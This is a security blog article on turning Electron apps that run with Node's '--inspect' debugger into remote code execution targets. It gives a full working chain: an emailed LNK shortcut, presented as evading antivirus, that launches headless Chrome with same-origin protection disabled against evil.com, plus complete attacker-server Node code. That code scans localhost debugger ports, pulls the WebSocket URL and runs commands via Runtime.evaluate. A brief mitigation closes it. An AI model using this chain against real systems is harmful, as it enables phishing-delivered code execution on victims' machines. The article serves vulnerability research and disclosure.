back

Exploiting Electron Applications using Debug Feature

Intro

It is possible to execute commands in Electron Desktop applications using Chrome DevTools. In this article, I will explain how to convert local attacks using Electron Applications into remote command execution.

NodeJS has an “—inspect” parameter which can be very interesting from a security perspective. The NodeJS process uses the WebSocket to listen for commands on that port. For instance, if a victim applies “electron.exe —inspect = 1337” parameter, the debugger server starts on port 1337 for electron. It is possible to execute arbitrary commands using this structure.

If the Electron Application is started with the inspect parameter, a local attacker can use a browser to execute commands in the context of the target application.

To test this feature, you can use “chrome://inspect/#devices” to access “localhost:1337” in the targets section.

Chrome Inspect - Remote targets → inspect access
Figure: Chrome Inspect - Remote targets → inspect access
Electron Desktop Application code execution
Figure: Electron Desktop Application code execution

While this approach would normally be effective for local attacks, I developed the following attack scenario with the idea of how a remote attacker can trigger this vulnerability.

Prerequisites for the Attack Scenario

My Attack Scenario

1. I will try to create an attack scenario where we can make less noise by using the Chrome internet browser installed on the victim side.

Let’s try to chain a few methods together and turn the local attack into a remote attack. As mentioned in the examples above, I can execute commands by inspecting the application via Chrome. At this point, I will take advantage of the headless feature Chrome offers to end users, since the Chrome GUI complicates our work.

Since I’m planning a remote attack, we will trigger the chrome.exe command and arguments via the LNK file as below.

The LNK file is a very common method in malware, and I can send it to the victim via email without being detected by antivirus.

2. A headless browser is a great tool for automated testing and server environments where you don't need a visible UI shell. For example, you may want to run some tests against a real web page, create a PDF of it, or just inspect how the browser renders a URL.

Source: https://developers.google.com/web/updates/2017/04/headless-chrome

When I execute a command like “chrome —headless www.google.com” we visit google.com. As you can see, the GUI does not open at this point. In this way, you can frequently encounter “Chrome headless” usage.

3. When the victim visits a malicious site, I need to get access to the port (1337) and evolve into a structure that will allow code execution. However, this is an obstacle for us because the WebSocket address provided by the debugger server uses the UUID. For this reason, even if there is a WebSocket-1337 port open in Localhost, we need to bypass SOP.

Unfortunately, using Chrome only as headless does not solve our problem. At this stage, we use another Chrome parameter —disable-web-security. By using this parameter, we completely disable SOP.

4. We can access the debugger server “localhost:1337/json” for the ID value generated with the UUID. By disabling the same-origin policy, you can obtain the UUID address and access the key for unauthorized access to the Electron application.

[ {
"description": "node.js instance",
"devtoolsFrontendUrl": "chrome-devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=127.0.0.1:1337/fe3320c5-e8de-41b4-910d-5a63a6e420d1",
"devtoolsFrontendUrlCompat": "chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:1337/fe3320c5-e8de-41b4-910d-5a63a6e420d1",
"faviconUrl": "[https://nodejs.org/static/favicon.ico](https://nodejs.org/static/favicon.ico)",
"id": "fe3320c5-e8de-41b4-910d-5a63a6e420d1",
"title": "Administrator: Command Prompt[5764]",
"type": "node",
"url": "file://",
"webSocketDebuggerUrl": "ws://127.0.0.1:1337/fe3320c5-e8de-41b4-910d-5a63a6e420d1"
} ]

Finally, it is necessary to put all this structure in the background as much as possible and reduce it to a single click. To do that we can use LNK files as stated above. I created a shortcut for chrome.exe as shown below.

C:\Windows\System32\cmd.exe /c start chrome --headless  --disable-web-security --disable-gpu --user-data-dir=~/chromeTemp http://evil.com/exploit

We can use the following code on the attacker side (evil.com) to test our method.

process.on('unhandledRejection', (err, p) => {
    console.log('An unhandledRejection occurred');
    console.log(`Rejected Promise: ${p}`);
    console.log(`Rejection: ${err}`);
});
var express = require('express');
var app = express();
var fetch = require("node-fetch");

function getid(port) {

    return fetch('http://localhost:' + port + '/json')
        .then((response) => response.json())
        .then((responseData) => {

            return responseData[0].webSocketDebuggerUrl;

        }).catch(function(error) {
            console.log('Request failed:', error.message);
        });

}

function exploit(url) {

    function nodejs() {
        process.mainModule.require('child_process').exec("calc")
    };
    
    const packet = {
        "id": 13371337,
        "method": "Runtime.evaluate",
        "params": {
            "expression": `(${nodejs})()`
        }
    };
    const WebSocket = require('ws');
    const ws = new WebSocket(url);
    ws.onopen = () => ws.send(JSON.stringify(packet));
    ws.onmessage = ({
        data
    }) => {
        if (JSON.parse(data).id === 13371337) ws.close()
    };
    ws.onerror = err => console.error('failed to connect');

}

app.get('/exploit', function(req, res) {
    res.send('Hello World!')
    var i = 0;
    for (i = 2000; i < 10000; i++) {

        getid(i).then(function(response) {
            console.log("Success : " + response)
            exploit(response)
        });

    }

})

var server = app.listen(5000, function() {
    console.log('Node server is running..');
});

When I examined the above code, I started a Node server over port 5000 using Express.

This piece of code is going to trigger an attack when the victim machine browses the /exploit path. We will get access to the malicious content with headless Chrome.

var server = app.listen(5000, function() {
    console.log('Node server is running..');
});

Then, we get JSON output from the relevant debugger port within the getid function. Using the “getid” function, we get the WebSocket link and the value containing the UUID.


function getid(port) {

    return fetch('http://localhost:' + port + '/json')
        .then((response) => response.json())
        .then((responseData) => {

            return responseData[0].webSocketDebuggerUrl;

        }).catch(function(error) {
            console.log('Request failed:', error.message);
        });

}

Finally, in the exploit function, we create the malicious packet that will be sent over the WebSocket. We will use the Runtime domain in this malicious packet.

Runtime domain exposes JavaScript runtime by means of remote evaluation and mirror objects. Evaluation results are returned as mirror objects that expose object type, string representation, and unique identifier that can be used for further object reference. Original objects are maintained in memory unless they are either explicitly released or are released along with the other objects in their object group.

We will try to execute commands in the electron main context using the evaluate method in the Runtime domain. We add the expression parameter only because the others are optional, and we call the calc process from the NodeJS function.

    const packet = {
        "id": 13371337,
        "method": "Runtime.evaluate",
        "params": {
            "expression": `(${nodejs})()`
        }
    };
Runtime domain - https://chromedevtools.github.io/devtools-protocol/tot/Runtime/#method-evaluate
Figure: Runtime domain - https://chromedevtools.github.io/devtools-protocol/tot/Runtime/#method-evaluate

Mitigation

For recommendations to mitigate, I added a simple control to an example Electron Application. If there is an “inspect” parameter in the “process.argv” list, the application closes itself.

Sample Electron Application - Electron Fiddle Test Tool
Figure: Sample Electron Application - Electron Fiddle Test Tool

References

Thanks to Barış Akkaya